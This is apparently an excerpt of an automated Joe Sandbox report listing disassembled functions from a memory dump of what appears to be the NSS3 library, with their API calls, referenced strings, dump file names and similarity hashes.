TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668D3E
KRAM, xrefs: 6C668CF9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

an index, xrefs: 6C741C67
a generated column, xrefs: 6C741C6C
w=dl, xrefs: 6C741C44
non-deterministic use of %s() in %s, xrefs: 6C741C85
a CHECK constraint, xrefs: 6C741C76, 6C741C81

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
misuse, xrefs: 6C724DD5
%s at line %d of [%.10s], xrefs: 6C724DDA
invalid, xrefs: 6C724DB8
API call with %s database connection pointer, xrefs: 6C724DBD

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
misuse, xrefs: 6C724E42
%s at line %d of [%.10s], xrefs: 6C724E47
invalid, xrefs: 6C724E25
API call with %s database connection pointer, xrefs: 6C724E2A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
